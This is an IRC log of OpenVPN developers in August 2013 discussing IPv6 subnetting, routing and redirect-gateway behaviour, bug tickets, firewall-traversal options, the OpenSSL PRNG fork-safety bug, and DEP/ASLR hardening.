[~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:25 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 09:25 -!- dazo_afk is now known as dazo 10:23 -!- raidz_away is now known as raidz 12:09 <@plaisthos> Protip for people stealing open source software: Don't leave the Copyright Yeah Orginal Author string inside the string ressources 12:11 <@pekster> Clearly they're stealing it and proceeding to violate the copyright because they can't manage complex ideas like "strings" or "resources" 12:11 <@cron2> plaisthos: but it's so much easier that way 12:12 <@cron2> actually changing the stolen source would require some thinking 12:18 <@plaisthos> cron2: yeah. See Hotspot Shield 12:19 <@plaisthos> They are trying to hide that they are at least partially use my code 12:19 <@plaisthos> Have weird OpenVPN 2.2.2 that includes some of error messages of my Android patches. 12:20 <@plaisthos> Also their managment part includes things like ROUTE6 and IFCONFIG6 even though their OpenVPN 2.2.2 does not know about IPv6 12:20 <@plaisthos> and there are more similiarties 12:25 <@cron2> lazy *and* stupid... 12:43 <@pekster> There were the 2.2.x IPv6 patches 12:43 <@pekster> I actually use an entire /64 now for my OpenVPN IPv6 networks becuase the "early dev-patchsets" that places like RHEL/Ubuntu repos use require it; they don't work with a /112 12:44 <@pekster> No real reason not to use a /64, but I figured since an instance can use more than 64k clients reasonably anyway, it was a waste 12:54 <@cron2> well, it's IETF thinking "a link is a /64, don't argue or waste time thinking about it" 12:55 <@cron2> which *is* quite nice when you get used to it :-) - but well, the code really doesn't care so nowadays we can do more flexible setups if needed 13:00 <@pekster> Right, it just isn't needed in openvpn setups unless you're doing tap+RA for IPv6 assignment 13:00 <@pekster> "Normally" there's no reason to use more than a /112, IMO, unless you do want to support the 2.2.x IPv6 pre-official-release IPv6 patches 13:02 <@cron2> pekster: "the IETF says that each link is to be a /64, and you should not spend human lifecycles even thinking about sizing a v6 subnet" 13:02 <@cron2> of course you don't need a /64 for LANs either :-) 13:02 <@pekster> Works great, if only providers respected RFC6177 13:02 <@pekster> Many don't 13:02 <@pekster> (eg: Comcast's trials of /60 PDs and the like) 13:03 <@cron2> /60 isn't that bad - not perfect, but better than "just a /64" or even "one /128" 13:04 <@pekster> Maybe it's fine for 'Joe use who hasn't a clue' but I can hit 16 "networks" easily, assuming I'm not going to use ULA+NAT66 for things like VM labs 13:05 <@pekster> I'd even be "okay" with the /60 PD scheme by default with a checkbox on your user login to get a /56, but not giving any interested broadband customer a /56 easily and without question on request is just dumb 13:06 <@pekster> Now a /48, yea, RFC6177 was updated to say that maybe that's a bit much (up to 64k unique /64's? I have a hard time seeing a residential customer doing that, even with loss due to subnetting) 13:07 <@pekster> /56's to individual customers, and /48's to business accounts that need them. More than than, sure, add some hoops or small surcharges for exceptions 13:07 <@pekster> Anyway, glad to see >=2.3.0 OpenVPN play nice "no matter how" you break your network up inside 13:13 <@cron2> yeah, /56 by default, /48 to business accounts ("or residentials that ask for it"), that is how things should be - and nicely enough, the big ISPs in DE do it that way :-) 13:13 <@pekster> Cool beans, some countries' ISPs can actually follow IETF recommendations ;) 13:14 <@pekster> To be fair, Comcast is still "trialing" and "rolling out" their solution, and I guess it's better some folks have it vs none, or junk like 6rd, though *I* don't have it yet 13:14 <@pekster> Oh well, tunnel broker for me, then OpenVPN to get v6 when I'm out in the v4 world 13:16 <@cron2> 6rd is quite ok actually if done right, as in "full MTU for IPv6" and "gateway is along the logical packet path, so not adding much latency" 13:16 <@pekster> Oh, I was musing about that block-ipv6 thing, and wonder if that would be better as a plugin or something external to openvpn itself? 13:16 <@pekster> I don't know how this impacts the tinkering you've done already, but this falls into one of those grey areas for me where I 'see the benefit' but still feel weird having openvpn muck with the OS to fix an inherently external problem (effectively the "wrong" split-tunnel setup) 13:17 <@cron2> well, it's functionality that is needed "in openvpn context" - a plugin could certainly do it, but you can't push "load this plugin!"... 13:17 <@pekster> Oh, you're looking to push it from corp-shops to clients 13:17 <@cron2> that was the requirement why James approached me to get it implemented :-) 13:18 <@cron2> "we're going to use OpenVPN, but only if you can fix this ipv6-split-tunnel-issue"... 13:18 <@pekster> Yea. So how's the use-case for it work? Acme Corp has v4/v6 resources, but Acme's OpenVPN server is v4-only? 13:18 <@pekster> Hence redirect (or w/e) only works for v4, so the external part of the split-tunnel only works for v6? And isn't the more obvious solution to use v6 over the VPN? 13:19 <@cron2> like that, or "Acme's OpenVPN server is in a firewall zone that has no IPv6 and cannot be updated for $stupidreason" or so 13:19 <@cron2> "some bits in the company are ipv6-enabled but not everything" 13:19 <@pekster> Ah, okay. Makes a bit more sense now. Not really a 'bad' feature, but I was just wondering if it was possible to keep it "out of the internal" bits. Clearly not if this is a pushable option 13:20 <@pekster> This said, it would be nice to have a way for the client to define things like "I will accept this list of options" or "I don't want this set" to prevent stuff like this when you don't implicitly want any given server to do that (why a client would be using a server that's untrusted is a different issue, but many users have no choice and may not want the remote end doing it) 13:20 <@cron2> there is also concern that it could be used to attack people at hotspots, like "there is no ipv6 anywhere at $corp, but I just send you an evil RA *with nameserver info*, and if you ask my IPv6 name server, I tell you the address of my phishing server" 13:21 <@cron2> you can do --route-nopull today, or even full --nopull 13:21 <@pekster> They can already "do it themselves" anyway by not setting --pull, so I'm not sure that's a security problem. It's not directly relevant to your block-ipv6 feature, but more of a general thing 13:21 <@pekster> Yea 13:21 <@cron2> yeah. A bit coarse-grained, though :) 13:21 <@cron2> (and then people on the openvpn-users lists come up again and tell us "you have too complicated options!") 13:21 <@pekster> Maybe I'll find the time to see if there's a clever way to support that. Not in the near-term anyway 13:22 <@cron2> heh, sounds familiar 13:22 <@pekster> We had someone in #openvpn a day or two ago that got annoyed that it didn't magically do $desired_task automatically 13:22 <@vpnHelper> RSS Update - tickets: #324: route with no gateway ip <https://community.openvpn.net/openvpn/ticket/324> 13:25 <@pekster> I assume you meant 'not using --pull' since I don't see a --nopull option 13:26 <@pekster> Then maybe there is a more generic case for a feature where pulled options can be stripped out. No clue what that would look like though 13:26 <@pekster> Some way to send the PUSH_REQUEST, but then inspect the reply before blindly using them 13:27 <@pekster> Dunno, maybe shove it all to an external script/process and let it send back what it wants 13:39 <@pekster> cron2: So, I just chatted with krzee about bug#324, and it's the result of a grossly misconfigured OpenVZ platform. The user has put 0/0 on-link, and OpenVZ network docs show this is neither suggested or required 13:40 <@pekster> I really don't want to make OpenVPN support users that try to put "The Internet" on their local Ethernet LAN, then somehow magically let OpenVPN hack around the issue by playing games to fix it in a platform-specific way. The solution krzee worked out with the OpenVZ user in question was a Linux-ism that won't be portable to other platforms 13:41 <@pekster> cron2: So, tl;dr here is that I want to flat out close it 'wontfix' unless you saw some reason not to, or a way the code tries to route strictly "via an interface" without a gateway IP (AFAICT from the code, --route does not support this) 13:41 <+krzee> in the end the right answer was to just tell him he's doing it wrong and to fix his openvz, i was unaware his openvz could actually do it right 13:42 <@pekster> Yea, I guess the question was more a follow-up to the note in the ticket that this might already be 'partly impleemented' in the case of ppp devices; I didn't see a direct comparison, but I don't know some of the code internals as well as others 13:43 <@pekster> Oh, ticket closed anyway. "Problem solved." Much ado about very little. 13:44 <+krzee> ppp devices have gateways iirc, just not seen in the same way (i havnt looked at those threads in years so i could be wrong) 13:44 <+krzee> ppp gateway is actually detected, but differently? 13:44 <@pekster> Right, I think that was the reference, but just making sure I didn't miss some other way the rgi struct deals with thingsn 13:46 <@pekster> Don't think so 14:31 <@pekster> mattock: What's the best way to send patches to openvpn-build? The -devel ML still appropriate for this? 14:33 < ngharo> :q 14:33 < ngharo> ugh 15:17 <@cron2> pekster: yeah, close it :-) - I was wondering about "put the default route onto a LAN" -which usually works by creating a hell of a lot of proxy-arp requests... - but it could have been some sort of magical interface without gateway, like ppp 15:17 <@cron2> as you can do "route default dev ppp0" with*out* adverse effects, and OpenVPN learned how to handle that 15:19 <@cron2> krzee: ppp devices can have, but don't need to - actually, the whole thing of a gateway on a point-to-point(!) interface is useless baggage, as it doesn't matter where you intend the packets to go - if you stuff it into one side, they come out at the other end 15:19 <@cron2> (unlike ethernet, where you need a destination MAC) 15:27 <@cron2> actually, using a gateway on a ppp device is purely to assist stupid software that cannot do "route ... dev ppp0" but needs to have an IP address to fill in the "route ... via a.b.c.d" bits 15:28 <@cron2> like, what OpenVPN does for IPv4 on tun interfaces... the gateway used for routes is fully identical to just sending the packet to "dev tun0", as there's nothing in the packet that would give an indication of the gateway address used to send it in 15:30 <@pekster> Right, and for ppp it makes sense, but not for Ethernet (which is what venet in OpenVZ land pretneds to be.) The concept of 'default dev venet0 scope link' (as iproute2 puts it) is idotic, and even the usually unhelpful OpenVZ references know this 15:30 <@pekster> (the 'scope link' part being where this all becomes insanely stupid) 15:35 <@cron2> pekster: if a "venet0" behaves like a true ethernet, with ARP and all, then it makes no sense indeed 15:35 <@cron2> I wasn't sure of that 15:35 <@cron2> could have been something tun-like 15:39 <@pekster> If there's a valid 'it's broken' case for how --redirect-gateway fails to auto-detect a gateway in a setup, I'm game to look at a fix. I don't know of many people that do something like `ip addr add 192.0.2.1 peer 192.0.2.2 dev foo; ip route add default dev foo` and proceed to use that as the uplink 15:39 <@pekster> I should try that sometime just to see, but I'd expect openvpn will fail to --redirect-gateway in that case 15:39 <@pekster> The "fix" in this case being a way to not make that error fatal as you don't need to add a route to the non-existnat default gateway in that case 15:52 <@cron2> I've definitely seen a patch float by that implements correct handling for a gateway pointing to "dev ppp0". I *thought* we have ACKed and integrated it... 15:53 <@cron2> pekster: but you do need to point a route to your VPN gateway to "wherever the default pointed to, before redirecting" - so you can't just ignore that failure 15:53 <@pekster> No, not on PtP 15:53 <@cron2> but now I need to find sleep :-) 15:54 <@pekster> As you pointed out, PtP doesn't require an IP, so there's "nothing" to add the /32 route for 15:54 <@cron2> there is: "dev ppp0" 15:54 <@pekster> If they used an IP, the corner-case here wouldn't apply as the gateway would have the "peer <whatever>" bit as the gateway 15:54 <@cron2> well, misunderstanding 15:55 <@cron2> with redirect-gateway, the tricky bit is not "redirect the default route" (just add 2x /1, done) - the tricky bit is "keep the packets to the openvpn server flowing!" 15:55 <@cron2> and for *that*, you need to add a route "$ip_of_server/32 $via_old_default_gateway" 15:55 <@pekster> Ah, okay, now I see the point here (I got caught up in the ptp side too much there) 15:55 <@cron2> ... and if your old default route points to "dev ppp0", you need to add "ip route add $ip_of_server/32 dev ppp0" to make it work 15:56 <@pekster> Yea, gotcha. Dunno if that's iproute2 specific either, since that's not the build default 15:56 <@cron2> route can do that, too - the syntax is slightly different, but linux has always been able to do that 15:56 <@pekster> Anyway, I'll let you get sleep; I don't need this info for any changes I plan to make soon :P 15:56 <@cron2> some of the BSDs can't do that 15:56 <@cron2> heh :) - yeah, good night 20:28 <@pekster> So, I got my build environment updated tonight, and given some of the chatter on the ML, it sounds helpful to publish a 2.3.2 Windows build with the TLS-negotiation patch 20:29 <@pekster> Anyone who's interested in verifying things work with their particular setup (most common case I think is people in charge of servers wanting to make sure clients don't break) can try it out before release date. The idea being that if there _are_ issues (and we don't seem to think so, beyond the weird tommato-WRT mystery) 20:29 <@pekster> .. if there are issues we can learn this before shipping it in a future release 20:36 -!- raidz is now known as raidz_away --- Day changed Sat Aug 24 2013 12:59 < waldner> \o/ 12:59 * waldner has finally been able to successfully simulate a dynamic challenge/response 14:38 <@pekster> cron2: Fixed the build system for you ;). Patch to the ML 15:04 <@cron2> cool 15:06 <@plaisthos> cron2: about the socks stuff. I have not looked at the discussion at detail or the patch but with socks5 you can give a hostname instead of an IP address and the socks server will resolve the hostname instead of the client 15:07 <@cron2> plaisthos: this I understand, but the "send hostname in first packet, ip address in further packets, to be able to use a reverse proxy that does not exist yet" thing does not outweigh "not add new code" 15:09 <@pekster> This isn't about resolving the hostname on the other side 15:09 <@plaisthos> cron2: I don't even understand that 15:09 <@pekster> This is about a "reverse proxy" feature -- if a user wants that, my opinion is that OpenVPN has no business dealing with it 15:10 <@cron2> plaisthos: it's explained in painful detail in the mail, and basically, it's an idea that needs server side code that does not exist, to run "thousands of OpenVPN servers behind a single address", which I find quite... special. So, NAK 15:10 <@pekster> The problem with first-packet-use-hostname is that UDP is stateless; that packet can arrive out of order, delayed, or not at all. The client is (as of the submittter's description) sending all later packets via IP anyway, so clearly the local side is still resolving it 15:10 <@pekster> Yea, and it's a silly feature too :) 15:14 <@plaisthos> about the tls vs tls1.2 story, the user fixed the problem with a new beta version of the tomtato firmware 15:16 <@pekster> Ah, fun. I did manage to get a 2.3.2 + TLS neg patch build made, and created http://sourceforge.net/projects/openvpnpreviews/ for unofficial dev previews (think, "pre-RC" stuff) 15:16 <@vpnHelper> Title: OpenVPN Previews | Free software downloads at SourceForge.net (at sourceforge.net) 15:16 <@pekster> I'll put that up when I have time today (got a lot going on atm...) 15:17 <@pekster> Sort of a 'just in case, here you can preview it' and let eager users try it out; if it breaks, we know ahead of time, and if not, they had the chance 15:18 <@plaisthos> pekster: like the 100k users already testing -master+dual stack patches? :D 15:18 <@pekster> Well, I'm happy to add it to the list, or make you a 'release packager' (or w/e sf.net calls it) if you'd like 15:18 <@pekster> But yea, I don't expect wide use, I just wanted it somewhere FOSS-friendly, and github won't do binary publishing anymore 20:01 <@pekster> Wow, I just tried to preview my files download page in Chromium, and the ads are awful, even with click-to-play flash :\ --- Day changed Sun Aug 25 2013 08:27 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel 08:29 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Ping timeout: 240 seconds] 09:46 -!- chiiph_ is now known as chiiph 12:53 -!- tunage [~drummer@ool-18b86e27.dyn.optonline.net] has joined #openvpn-devel 12:54 < tunage> where would I go if I wanted to customise the openvpn authentication handshake? 13:14 <@cron2> customize in which way? 13:28 <@pekster> You didn't stick around in #openvpn long enough; we just had the 2nd half of the conversation you started there 13:28 <@pekster> So, tl;dr here is that if you have an agressive firewall/IDS blocking you, openvpn, or TLS traffic in general, you need to make it look like "not TLS, not openvpn." Use a static key tunnel with --static 13:30 <@pekster> Optionally, run a 2nd tunnel inside that (across your PtP tunnel endpoints) with TLS if you want the forward-secrecy benefits TLS provides 13:30 < waldner> I'd be surprised if a firewall/IDS that blocks TLS would let other arbitrary traffic pass instead 13:30 <@pekster> Maybe, but it depends on how it works; some GFW "customers" have found luck in such approaches 13:31 < waldner> I've had good results with httptunnel 13:31 <@pekster> china goes after the low-hanging fruit, so someone's small staticly keyed tunnel isn't really a big deal for them, and it doesn't scale 13:32 < waldner> yes, that may ibdeed be 13:43 <@pekster> tunage: Based on the chat in #openvpn before you left, you're trying to bypass such firewalls. Rather than modifying the code, static keys are probably what you want. There is some code patch on the forums that XORs the payload at each end if you want to play with it 13:44 <@pekster> Note that that (or a very similar) patch was rejected from the ML since changes in the obfuscation protocol would require openvpn patching; that feature would be more likely to be accepted if it was designed as an openvpn plugin 13:51 <@cron2> plugin code can't modify the protocol today 13:55 <@pekster> That's just modifying the packet payload though (maybe the same is true, but the forum patch isn't really a 'protocol' modification, although it is if you consider the actual bytes sent on the wire part of the protocol) 13:57 <@pekster> I see the potential benefit, but unless someone else who has a vested interest were to update the code to allow plugins to do this, I'm happy to point folks to obfsproxy or some other project rather than expect openvpn to deal with transport issues 21:51 < tunage> pekster I think you missed my point sir, it has nothing to do with bypassing a firewall, it has everything to do with stress testing the authentication process and the channels it creates. encryption beats a system up and we are hitting 1 gig chaneels with 2 gigs of continuos traffic and what keeps breaking our gear is auth. so we need to break it down to the very core fundementals and than add a little chuck here and there to find th 21:52 <@pekster> You got cut off after "to find th"... 21:52 <@pekster> This said, see --tls-auth 21:52 < tunage> the breaking point 21:52 <@pekster> If you're getting pounded, the best way to avoid it is not let it happen 21:52 < tunage> no, we are doing it on purpose. 21:52 <@pekster> Ah, I see. Yes, the TLS authentication is generally the "most CPU stress" in the entire OpenVPN process 21:54 <@pekster> I did a benchmark on some mid-range (nothing special) hardware, including a laptop over a wifi connection to the LAN. I successfully connected 1000 client instances to the server, but was able to bring the ~2.4 GHz core to 100% use with about 10-15 authentications per second. YMMV depending on the horsepower of the server, any load-balancing between multiple cores, and use of --tls-auth for "unauthorized" connections 21:58 < tunage> ideally, http://openvpn.net/archive/openvpn-devel/2005-09/msg00000.html we would like to go straight to #openvpn --config static-home.conf --cipher TRIFID (or other) and then figure out which ones hurt the worst. 21:58 <@vpnHelper> Title: [Openvpn-devel] OpenVPN Protocol (at openvpn.net) 22:05 <@pekster> You can't get that without writing new kernel drivers and interfaces; that's a _lot_ more than "modifying the openvpn authentication protocol" 22:07 <@pekster> I still have no clue what you want; if you want to benchmark ciphers, then do that; use --static with some cipher, but today you must use openssl (or recently PolarSSL) to do the crypto. You're free to poke at the new PolarSSL features since in theory you can use any program you'd like to provide the crypto functions OpenVPN relies on 22:07 <@pekster> In fact, doing that still has nothing to do with the on-wire protocol 22:19 < tunage> pekster the whole idea is to start disabling kernel drivers. 22:19 < tunage> one at a time 22:19 < tunage> and then plugging them back in again. 22:19 <@pekster> Again, no clue what you're attempting to do since OpenVPN doesn't do anything in the kernel 22:20 <@pekster> Making OpenVPN do in-kernel crypto would require massive changes and we already have a VPN that does that known as IPSec 22:30 < tunage> we need a fundementally basic tunnel in order to do our job. auth key in header at SYN and thats it. We will be adding chucks back a peice at a time. wheres the best place to go for that? My first though was here. 22:32 <@pekster> You can't "de-couple" features from openvpn like that without massive amounts of work 22:33 <@pekster> In openvpn, a static keyed tunnel is about as basic as you get. You keep avoiding the overall goal by insisting you need to do all this complex stuff by re-writing the protocol to rip things out, without actually defining your end-goal 22:35 <@pekster> OpenVPN uses OpenSSL (or PolarSSL) to do its crypto. If you wish to use a differnet backend, you need to write it. OpenVPN depends on a defined wire-protocol, and changing it means it will no longer speak to openvpn peers. OpenVPN works in userland, and doing anything in kernel-space requires supporting OpenVPN's exsiting API with kernel extensions (daunting) or making OpenVPN not rely on OpenSSL (and it will no longer be ... 22:35 <@pekster> ... OpenVPN then.) 22:35 <@pekster> I think that covers all the reasons why what you're asking for can't be done. 22:35 <@pekster> Ask a better question if that's not the technical answer you wanted 22:47 < tunage> that's really what I am doing is digging. our gear is breaking at stress test during auth, a few low weight custom protocols like waste, don't touch the system much at all. and it's the auth setup that hurts the worst. I am trying to study everything I can right now so that I can begin to ask the correct question. 22:49 <@pekster> --static doesn't _do_ any auth 22:49 <@pekster> If you want a "basic" tunnel, that's as I said as basic as you get: OpenVPN encrypts and just blasts "purely random looking" payload in the packet 22:50 <@pekster> !gigabit 22:50 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit 22:51 <@pekster> If you use hardware acceleration (aes-ni, primarily) you can get quite impressive transport speeds out of openvpn, but when you use a TLS mode, you need the CPU to support it. Remember that "the kernel" is not able to do TLS 22:51 <@pekster> tl;dr: openvpn won't do what you want if you define your needs as TLS for authentication, without using OpenSSL/PolarSSL to do the authentication. Not unless you write an API-compatible alternative 22:59 < tunage> It's just that the handshake is too heavy. It's RFC perfect too. the last thing we need is rfc (at this point). 23:11 <@pekster> You're spewing nonsense at this point. Violating RFCs is rarely a good idea --- Day changed Mon Aug 26 2013 02:19 <@cron2> tunage: well, the issue with TLS auth is that it's TLS auth - so if you want anything else, you need to look at something that is not OpenVPN. There's a couple of other tun-based VPNs which do not use TLS - tinc, vtun, etc 02:20 <@cron2> TLS auth can not be made "light" without making a new protocol 03:35 <@plaisthos> I am also not convinced that in kernel crypto will make a big difference 03:43 <@plaisthos> The change in newer kernel which allows an app to read/write multiple packets at once from/to tun will also eliminate a lot of the context switches in high speed applications 03:46 <@cron2> oh? missed that. How does that work? 03:57 <@plaisthos> cron2: hm seems that I confused that with multiple queues 03:57 <@plaisthos> https://www.kernel.org/doc/Documentation/networking/tuntap.txt 03:59 <@cron2> I'm not sure I understand what that is good for, but most likely one needs to know background info about interfaces with multiple queues - like "how to set filters to distribute packets according to rules to queue 1, 2, ..." 04:01 <@cron2> ... and I don't think it immediately buys us much for OpenVPN (having multi-threaded openvpn with multiqueue tun sounds cool, but we'd also need "multiqueue udp sockets" to really make that work) 04:12 <@plaisthos> yeah 05:10 <@plaisthos> http://www.heise.de/newsticker/meldung/OpenSSL-erzeugt-zu-oft-den-gleichen-Zufall-1942299.html 05:10 <@vpnHelper> Title: OpenSSL erzeugt zu oft den gleichen Zufall | heise online (at www.heise.de) 05:11 <@plaisthos> the "Android OpenSSL problem" seems to be deeper than first thought 05:11 <@plaisthos> english orginal source: http://emboss.github.io/blog/2013/08/21/openssl-prng-is-not-really-fork-safe/ 05:11 <@vpnHelper> Title: OpenSSL PRNG is not (really) fork-safe - Martin Boßlet (at emboss.github.io) 05:56 <@plaisthos> tl;dr is when using fork() OpenSSL prng does no reinitialisation causing the same state to be used as in the original program 05:56 <@d12fk> sounds different at heise 05:56 <@d12fk> they could only reproduce the bug with debain?! 05:57 <@d12fk> http://www.heise.de/newsticker/meldung/-1942299.html 05:58 <@d12fk> -> http://www.heise.de/newsticker/meldung/OpenSSL-erzeugt-zu-oft-den-gleichen-Zufall-1942299.html 05:58 <@vpnHelper> Title: OpenSSL erzeugt zu oft den gleichen Zufall | heise online (at www.heise.de) 05:59 <@plaisthos> d12fk: no idea what the heise people are doing, it works on OS here: 05:59 <@plaisthos> [12:58]arne@pluto:dl/openssl-prng/c% ./a.out 05:59 <@plaisthos> pid=91017 \x8c\xa6\x56\xc8 05:59 <@plaisthos> pid=91017 \x8c\xa6\x56\xc8 06:00 <@d12fk> ok 06:00 <@d12fk> could you post the code please. would like to reproduce it on my system as well and am too lazy to write it up myself 06:01 <@plaisthos> https://github.com/emboss/openssl-prng 06:01 <@vpnHelper> Title: emboss/openssl-prng · GitHub (at github.com) 06:01 <@plaisthos> I compiled the recycle.c and gave it a try 06:03 <@d12fk> jepp, breaks here as well 06:04 < syzzer> d12fk: works on other os'es too if you initalize the buffer. OpenSSL relies on uninitialized user input to add a little extra random... 06:04 -!- tunage [~drummer@ool-18b86e27.dyn.optonline.net] has quit [Ping timeout: 240 seconds] 06:05 <@plaisthos> the recycle_pid.c does initiliaze the buffer 06:05 < syzzer> debian has ifdef 0'd that piece of code because valgrind complains about using uninitialized data otherwise 06:06 <@plaisthos> But I think openvpn should be safe since it is being called by using exec 06:07 <@d12fk> but how can one be sure that an uninited buffer on the stack contains random data 06:07 <@d12fk> very speculative of ossl imo 06:08 < syzzer> d12fk: exactly. so it's plain and simple broken 06:08 <@d12fk> but then, why are they discussing if it needs to be fixed in ossl or in the apps, pretty clear to me 06:08 <@plaisthos> d12fk: yeah that is what the emboss.gitio article complains too 06:09 < syzzer> because "people using openssl should know to initialize the prng" 06:09 <@d12fk> in order to get random data you first need random data... 06:09 <@d12fk> how to have endless fun with openssl =) 06:10 < syzzer> yup 06:11 < syzzer> at a first glance OpenVPN seems to be fine at least :) 06:14 <@plaisthos> the more and more I get know about OpenSSL I have the feeling that OpenSSL is used because a) it is one of the most feature comple and b) everyone uses it 06:14 <@plaisthos> and that code quality and API quality are only minor decision factors 06:18 <@d12fk> pekster: were you able to reproduce the UTF-8 adapter name bug? 06:19 <@pekster> d12fk: Yup, simply rename a tap device to something (I used an accented "e" or something) and it breaks 06:19 <@pekster> As in literally just that 1 character 06:19 <@d12fk> ok, will spend some time on that today 06:20 <@plaisthos> d12fk vs the täp device 06:21 <@pekster> heh 06:21 <@d12fk> round 1, fight 06:24 < Hes> plaisthos: you seem to be right, OpenSSL is not a lot of fun, but it's probably the only one with all the SSL/crypto features you could imagine, and then some. Well, maybe the PRNG tools are lacking a bit. :) 06:25 <@pekster> There's PolarSSL, but it's got a much more limited set of supported TLS cipher-suites 06:25 <@plaisthos> and gnu_tls 06:25 <@plaisthos> but no idea how good that is 06:26 <@pekster> Sure, I meant integrated with openvpn today; we need coders to make more stuff work :) 06:26 <@plaisthos> I know that I got annoyed by debian for replacing openssl with gnu_tls and breaking things on the way in /interesting/ way 06:27 <@pekster> On the plus side, PolarSSL supports one of the notable Suite B ciphers: TLS-DHE-RSA-WITH-AES-256-GCM-SHA384 06:31 < Hes> If I had an awful lot of spare time, I would look into adding PKCS#12 support in PolarSSL. But I don't. 06:32 <@pekster> The primary benefit of PolarSSL vs OpenSSL is in embedded systems, and they can "fake" a PKCS12 anyway by having the frontend app just unwrap the files 10:29 -!- raidz_away is now known as raidz 14:39 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Quit: True terror is to wake up one morning and discover that your high school class is running the country. -- Kurt Vonnegut] 14:40 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:57 <@pekster> d12fk: I forgot to make sure you saw that I had a patch in to make using openvpn-build take much less time by caching openssl/lzo/pkcs11-helper, so if you're using the generic/build stuff to make your win32 builds go for testing, that could cut your build time down by nearly 1 order of magnatitude. Hopefully it's not too late to save you that time ;) 20:05 -!- raidz is now known as raidz_away --- Day changed Tue Aug 27 2013 01:48 -!- theGrg [~theGrg_@unaffiliated/thegrg] has joined #openvpn-devel 01:53 < theGrg> Hello. Is the OpenVPN Connect Client provided at this link Open Source? Hello. What is the license of the OpenVPN Connect client provided here: http://openvpn.net/index.php/access-server/download-openvpn-as-sw/357.html ? 01:53 <@vpnHelper> Title: Client Packages (at openvpn.net) 01:53 < theGrg> Sorry for the awkward sentence :p 02:26 <@cron2> theGrg: Connect is not open source 02:27 <@cron2> Connect uses OpenVPN 2.x for the "openvpn" stuff (that is open source) and adds a gui which is not 02:27 < theGrg> Ah 02:28 < theGrg> "OpenVPN GUI" is the open source client gui then 02:31 <@pekster> !gui 02:31 <@pekster> See #openvpn 05:10 <@d12fk> pekster: i don't use the buildsystem myself, but i saw you mail on the list 05:28 -!- theGrg- [~theGrg_@unaffiliated/thegrg] has joined #openvpn-devel 05:32 -!- theGrg [~theGrg_@unaffiliated/thegrg] has quit [Ping timeout: 264 seconds] 05:41 -!- theGrg- is now known as theGrg 06:35 < syzzer> pekster: you're hacking on the next-gen easy-rsa, right? I was wondering, will it include elliptic curve certificates? (even though the name suggests otherwise ;) ) 06:35 < syzzer> that would be really neat 07:25 -!- theGrg [~theGrg_@unaffiliated/thegrg] has quit [Quit: Leaving] 09:39 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 09:44 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:44 -!- mode/#openvpn-devel [+o andj] by ChanServ 10:20 -!- raidz_away is now known as raidz 13:01 <@vpnHelper> RSS Update - tickets: #325: Lacking ASLR and DEP support <https://community.openvpn.net/openvpn/ticket/325> 15:30 <@cron2> wth is ALSR or DEP? 15:35 <@pekster> https://en.wikipedia.org/wiki/Data_Execution_Prevention , and I'm not sure this is useful for us, unless we want to spent time looking at how "opt-in" DEP support works :\ 15:35 <@vpnHelper> Title: Data Execution Prevention - Wikipedia, the free encyclopedia (at en.wikipedia.org) 15:35 <@cron2> yeah, reading the wikipedia article on ALSR right now 15:36 <@pekster> Even for XP, this seems mostly-relevant to the process today for DEP: http://support.microsoft.com/kb/875352 15:36 <@vpnHelper> Title: A detailed description of the Data Execution Prevention (DEP) feature in Windows XP Service Pack 2, Windows XP Tablet PC Edition 2005, and Windows Server 2003 (at support.microsoft.com) 15:37 <@pekster> syzzer: No, not yet. There are lots of dragons here, like how do we specify valid curves when creating keys? What do we do if easy-rsa is sent a keypair (request) created by a curve we "don't" like? Are the cirves in FIPS 186-2 good enough to declare "we only support these" in an officially recommended key generation tool? 15:37 <@cron2> seems you need to set a flag at link time "yeah, I want ALSR and DEP!"... as far as I understood the feature, it would "just do that on its own" 15:38 <@pekster> syzzer: I need to see if I can get a copy of IEEE 1363-2000 (apparently you need to be an IEEE member or pay a ton of money?! That's weird...) I'm assuming that talks about implementations, not just _coding_ this support 15:38 <@pekster> cron2: Oh, if that's all that's needed, that sounds like no big deal. But "does it work when cross-compiling" is the bigger question ;) 15:39 <@cron2> pekster: interesting enough, "ALSR mingw" does not find anything relevant in the first few hits... 15:42 <@pekster> I wonder what the OP is really asking for here: does it not work with DEP set to opt-out? 15:42 <@pekster> There's no hint of a 'problem', and just because it wasn't built with DEP support doesn't mean it won't run when the OS is in that super-restricted mode 15:43 <@pekster> Unless openvpn needs to execute page blocks it allocates itself (some form of malloc() basically) it shouldn't "pose a problem" AFAICT, but I don't know a lot about it 15:44 <@cron2> yeah, maybe he's asking for us to set the "want have!" bit, which would harden the stuff a bit. OTOH, since we're not in the habit of having buffer overflows :-)... 15:47 <@pekster> "DEP is applied to an entire process, so even if an application runs perfectly with DEP, it may need to be disabled if a non-DEP compliant extension is added that runs in the same process space" <-- could that pose issues for plugins? Do people even use plugins on Windows (this could be an issue for AS if it does...) 15:53 <@pekster> cron2: Keep in mind, if this is important to someone, they already can "turn on DEP for everything" and then except that which they don't want 16:50 -!- raidz is now known as raidz_away 17:18 <@vpnHelper> RSS Update - testtrac: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> || Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> || Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb 19:06 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 19:10 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:10 -!- mode/#openvpn-devel [+o andj] by ChanServ 23:25 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Wed Aug 28 2013 00:16 <@d12fk> is it the time to move to our own hosted service now? 00:17 <@d12fk> http://www.gluster.org/2013/08/how-far-the-once-mighty-sourceforge-has-fallen/ 00:20 <@d12fk> 